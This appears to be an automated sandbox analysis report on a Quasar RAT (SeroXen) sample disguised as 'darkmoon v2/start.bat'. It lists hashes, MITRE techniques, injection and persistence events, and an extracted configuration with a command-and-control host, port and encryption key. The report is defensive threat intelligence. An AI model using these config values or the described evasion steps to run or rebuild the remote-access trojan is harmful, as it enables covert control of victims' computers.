quasar | 2a6a28e5ec050a9039d62bf2cd0075df7324ebb9e3c9130ca417c8381796445e

Analysis

max time kernel
600s
max time network
594s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
02/06/2024, 15:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
darkmoon v2/start.bat
Size 82B
Sample240602-spp86agd23
SHA256 c07fbd6c49d83eb8399435f9972551d2c73a29e5914a25640639191d187dd80d
MD5 e6ede72374e4f7b8b907d4099c76f4d4
SHA1 146899cf959ada383b0a258b06da7963ef0d1c70
SHA512 1b2d0cd4a5deae331ed16f383831f4ff7ba1c5b7f6906a35354dfd420ca44f17e3469157f2327685a6aa9773175425aa145faa2d4866030d131334eb36426fcc
MD5 SHA1 SHA512

Score

10^/10

quasar v2.2.6 | seroxen persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | SeroXen

seroooooxeen.chickenkiller.com:5059

Mutex

f953c0af-702a-46b5-ad07-d900b11c5cd9

Attributes

encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral5/memory/4464-58-0x00000275DAF90000-0x00000275DB75A000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 708 created 3200	708	WerFault.exe	145

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 376 created 612	376	AyBYMBjlvU.bat.exe	5
PID 4464 created 612	4464	$sxr-powershell.exe	5
PID 4464 created 612	4464	$sxr-powershell.exe	5
PID 376 created 612	376	AyBYMBjlvU.bat.exe	5
PID 4464 created 612	4464	$sxr-powershell.exe	5
PID 4464 created 612	4464	$sxr-powershell.exe	5
PID 4464 created 612	4464	$sxr-powershell.exe	5
PID 4920 created 3200	4920	svchost.exe	145
PID 4464 created 612	4464	$sxr-powershell.exe	5
PID 4464 created 612	4464	$sxr-powershell.exe	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	AyBYMBjlvU.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
376	AyBYMBjlvU.bat.exe
3040	$sxr-mshta.exe
544	$sxr-cmd.exe
4464	$sxr-powershell.exe
4216	$sxr-powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	DarkMoon_Gen.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
13	discord.com

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 376 set thread context of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 set thread context of 4736	376	AyBYMBjlvU.bat.exe	113
PID 4464 set thread context of 1260	4464	$sxr-powershell.exe	120
PID 4464 set thread context of 2040	4464	$sxr-powershell.exe	122
PID 4464 set thread context of 4700	4464	$sxr-powershell.exe	126
PID 4464 set thread context of 2500	4464	$sxr-powershell.exe	127
PID 376 set thread context of 1796	376	AyBYMBjlvU.bat.exe	136
PID 376 set thread context of 1636	376	AyBYMBjlvU.bat.exe	137
PID 4464 set thread context of 2472	4464	$sxr-powershell.exe	139
PID 4464 set thread context of 5728	4464	$sxr-powershell.exe	140
PID 4464 set thread context of 5756	4464	$sxr-powershell.exe	141
PID 4464 set thread context of 5544	4464	$sxr-powershell.exe	143
PID 4464 set thread context of 5424	4464	$sxr-powershell.exe	144
PID 4464 set thread context of 3200	4464	$sxr-powershell.exe	145
PID 4464 set thread context of 6008	4464	$sxr-powershell.exe	149
PID 4464 set thread context of 5616	4464	$sxr-powershell.exe	150
PID 4464 set thread context of 5692	4464	$sxr-powershell.exe	152
PID 4464 set thread context of 5820	4464	$sxr-powershell.exe	153

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-mshta.exe	AyBYMBjlvU.bat.exe
File created	C:\Windows\$sxr-cmd.exe	AyBYMBjlvU.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	AyBYMBjlvU.bat.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File created	C:\Windows\$sxr-powershell.exe	AyBYMBjlvU.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	AyBYMBjlvU.bat.exe
File created	C:\Windows\$sxr-mshta.exe	AyBYMBjlvU.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5512	3200	WerFault.exe	145

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Delays execution with timeout.exe 13 IoCs

evasion

pid	Process
2024	timeout.exe
2280	timeout.exe
2748	timeout.exe
5440	timeout.exe
5204	timeout.exe
4408	timeout.exe
1636	timeout.exe
4480	timeout.exe
116	timeout.exe
5724	timeout.exe
2788	timeout.exe
5572	timeout.exe
392	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1264	taskkill.exe

Modifies data under HKEY_USERS 56 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={A9F4205E-2669-43FF-92EF-514682CB9111}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717342182"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:29:43 GMT"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Runs ping.exe 1 TTPs 18 IoCs

Remote System Discovery

T1018

pid	Process
4740	PING.EXE
764	PING.EXE
3348	PING.EXE
2052	PING.EXE
4556	PING.EXE
2848	PING.EXE
1040	PING.EXE
4112	PING.EXE
4684	PING.EXE
3576	PING.EXE
3280	PING.EXE
1808	PING.EXE
3328	PING.EXE
4552	PING.EXE
2924	PING.EXE
4412	PING.EXE
2848	PING.EXE
5420	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
376	AyBYMBjlvU.bat.exe
376	AyBYMBjlvU.bat.exe
376	AyBYMBjlvU.bat.exe
2700	dllhost.exe
2700	dllhost.exe
4736	dllhost.exe
4736	dllhost.exe
4736	dllhost.exe
4736	dllhost.exe
2700	dllhost.exe
2700	dllhost.exe
376	AyBYMBjlvU.bat.exe
376	AyBYMBjlvU.bat.exe
4464	$sxr-powershell.exe
4464	$sxr-powershell.exe
4464	$sxr-powershell.exe
4464	$sxr-powershell.exe
1260	dllhost.exe
1260	dllhost.exe
2040	dllhost.exe
2040	dllhost.exe
2040	dllhost.exe
2040	dllhost.exe
1260	dllhost.exe
1260	dllhost.exe
4464	$sxr-powershell.exe
4464	$sxr-powershell.exe
4216	$sxr-powershell.exe
4216	$sxr-powershell.exe
4464	$sxr-powershell.exe
4464	$sxr-powershell.exe
4700	dllhost.exe
4700	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe
4216	$sxr-powershell.exe
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
4216	$sxr-powershell.exe
4216	$sxr-powershell.exe
2500	dllhost.exe
2500	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
2500	dllhost.exe
2500	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	376	AyBYMBjlvU.bat.exe
Token: SeDebugPrivilege	376	AyBYMBjlvU.bat.exe
Token: SeDebugPrivilege	2700	dllhost.exe
Token: SeDebugPrivilege	4736	dllhost.exe
Token: SeDebugPrivilege	4464	$sxr-powershell.exe
Token: SeDebugPrivilege	4464	$sxr-powershell.exe
Token: SeDebugPrivilege	1260	dllhost.exe
Token: SeDebugPrivilege	2040	dllhost.exe
Token: SeDebugPrivilege	4216	$sxr-powershell.exe
Token: SeDebugPrivilege	4464	$sxr-powershell.exe
Token: SeDebugPrivilege	4700	dllhost.exe
Token: SeDebugPrivilege	2500	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe
Token: SeLoadDriverPrivilege	2056	svchost.exe
Token: SeSystemtimePrivilege	2056	svchost.exe
Token: SeBackupPrivilege	2056	svchost.exe
Token: SeRestorePrivilege	2056	svchost.exe
Token: SeShutdownPrivilege	2056	svchost.exe
Token: SeSystemEnvironmentPrivilege	2056	svchost.exe
Token: SeUndockPrivilege	2056	svchost.exe
Token: SeManageVolumePrivilege	2056	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2056	svchost.exe
Token: SeIncreaseQuotaPrivilege	2056	svchost.exe
Token: SeSecurityPrivilege	2056	svchost.exe
Token: SeTakeOwnershipPrivilege	2056	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4464	$sxr-powershell.exe
5012	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 3260	4136	cmd.exe	82
PID 4136 wrote to memory of 3260	4136	cmd.exe	82
PID 3260 wrote to memory of 2728	3260	DarkMoon_Gen.exe	84
PID 3260 wrote to memory of 2728	3260	DarkMoon_Gen.exe	84
PID 4136 wrote to memory of 2876	4136	cmd.exe	83
PID 4136 wrote to memory of 2876	4136	cmd.exe	83
PID 2728 wrote to memory of 3064	2728	cmd.exe	87
PID 2728 wrote to memory of 3064	2728	cmd.exe	87
PID 2728 wrote to memory of 2788	2728	cmd.exe	88
PID 2728 wrote to memory of 2788	2728	cmd.exe	88
PID 2728 wrote to memory of 1808	2728	cmd.exe	89
PID 2728 wrote to memory of 1808	2728	cmd.exe	89
PID 2728 wrote to memory of 4556	2728	cmd.exe	90
PID 2728 wrote to memory of 4556	2728	cmd.exe	90
PID 2728 wrote to memory of 4740	2728	cmd.exe	91
PID 2728 wrote to memory of 4740	2728	cmd.exe	91
PID 2728 wrote to memory of 3328	2728	cmd.exe	92
PID 2728 wrote to memory of 3328	2728	cmd.exe	92
PID 2728 wrote to memory of 4552	2728	cmd.exe	93
PID 2728 wrote to memory of 4552	2728	cmd.exe	93
PID 2728 wrote to memory of 2848	2728	cmd.exe	94
PID 2728 wrote to memory of 2848	2728	cmd.exe	94
PID 2728 wrote to memory of 1040	2728	cmd.exe	95
PID 2728 wrote to memory of 1040	2728	cmd.exe	95
PID 2728 wrote to memory of 4684	2728	cmd.exe	96
PID 2728 wrote to memory of 4684	2728	cmd.exe	96
PID 2728 wrote to memory of 3576	2728	cmd.exe	97
PID 2728 wrote to memory of 3576	2728	cmd.exe	97
PID 2728 wrote to memory of 1636	2728	cmd.exe	102
PID 2728 wrote to memory of 1636	2728	cmd.exe	102
PID 2876 wrote to memory of 376	2876	cmd.exe	103
PID 2876 wrote to memory of 376	2876	cmd.exe	103
PID 2728 wrote to memory of 764	2728	cmd.exe	104
PID 2728 wrote to memory of 764	2728	cmd.exe	104
PID 2728 wrote to memory of 2024	2728	cmd.exe	106
PID 2728 wrote to memory of 2024	2728	cmd.exe	106
PID 2728 wrote to memory of 2924	2728	cmd.exe	107
PID 2728 wrote to memory of 2924	2728	cmd.exe	107
PID 2728 wrote to memory of 2280	2728	cmd.exe	110
PID 2728 wrote to memory of 2280	2728	cmd.exe	110
PID 2728 wrote to memory of 4112	2728	cmd.exe	111
PID 2728 wrote to memory of 4112	2728	cmd.exe	111
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 2700	376	AyBYMBjlvU.bat.exe	112
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 376 wrote to memory of 4736	376	AyBYMBjlvU.bat.exe	113
PID 2728 wrote to memory of 4480	2728	cmd.exe	114
PID 2728 wrote to memory of 4480	2728	cmd.exe	114
PID 2728 wrote to memory of 3348	2728	cmd.exe	116
PID 2728 wrote to memory of 3348	2728	cmd.exe	116
PID 3040 wrote to memory of 544	3040	$sxr-mshta.exe	117
PID 3040 wrote to memory of 544	3040	$sxr-mshta.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
728	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:60
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{5ecfd6b9-9af9-4f53-8d0c-49e262d11a13}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3a136c38-663c-4592-86b3-d11800c9415f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1260
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7228c29a-d178-44cf-b6a1-377e0ad1e30d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4700
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{26ff060f-69db-4051-a2e6-095f80a41c8d}
  2⤵
  PID:1796
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4ece8ca1-defc-4aea-97b2-bec1dfd3b0ef}
  2⤵
  PID:2472
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{cda6b179-f5bd-4818-b34f-2f0f28a071c5}
  2⤵
  PID:5756
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f22f5ee2-4b8c-4d8d-8842-f723d22de765}
  2⤵
  PID:5424
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d75369d7-f1de-402a-9516-5baa265aee59}
  2⤵
  PID:6008
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4d6fe6b3-7b08-41d7-a23e-bc8715fd41a8}
  2⤵
  PID:5692

C:\Windows\system32\lsass.exe
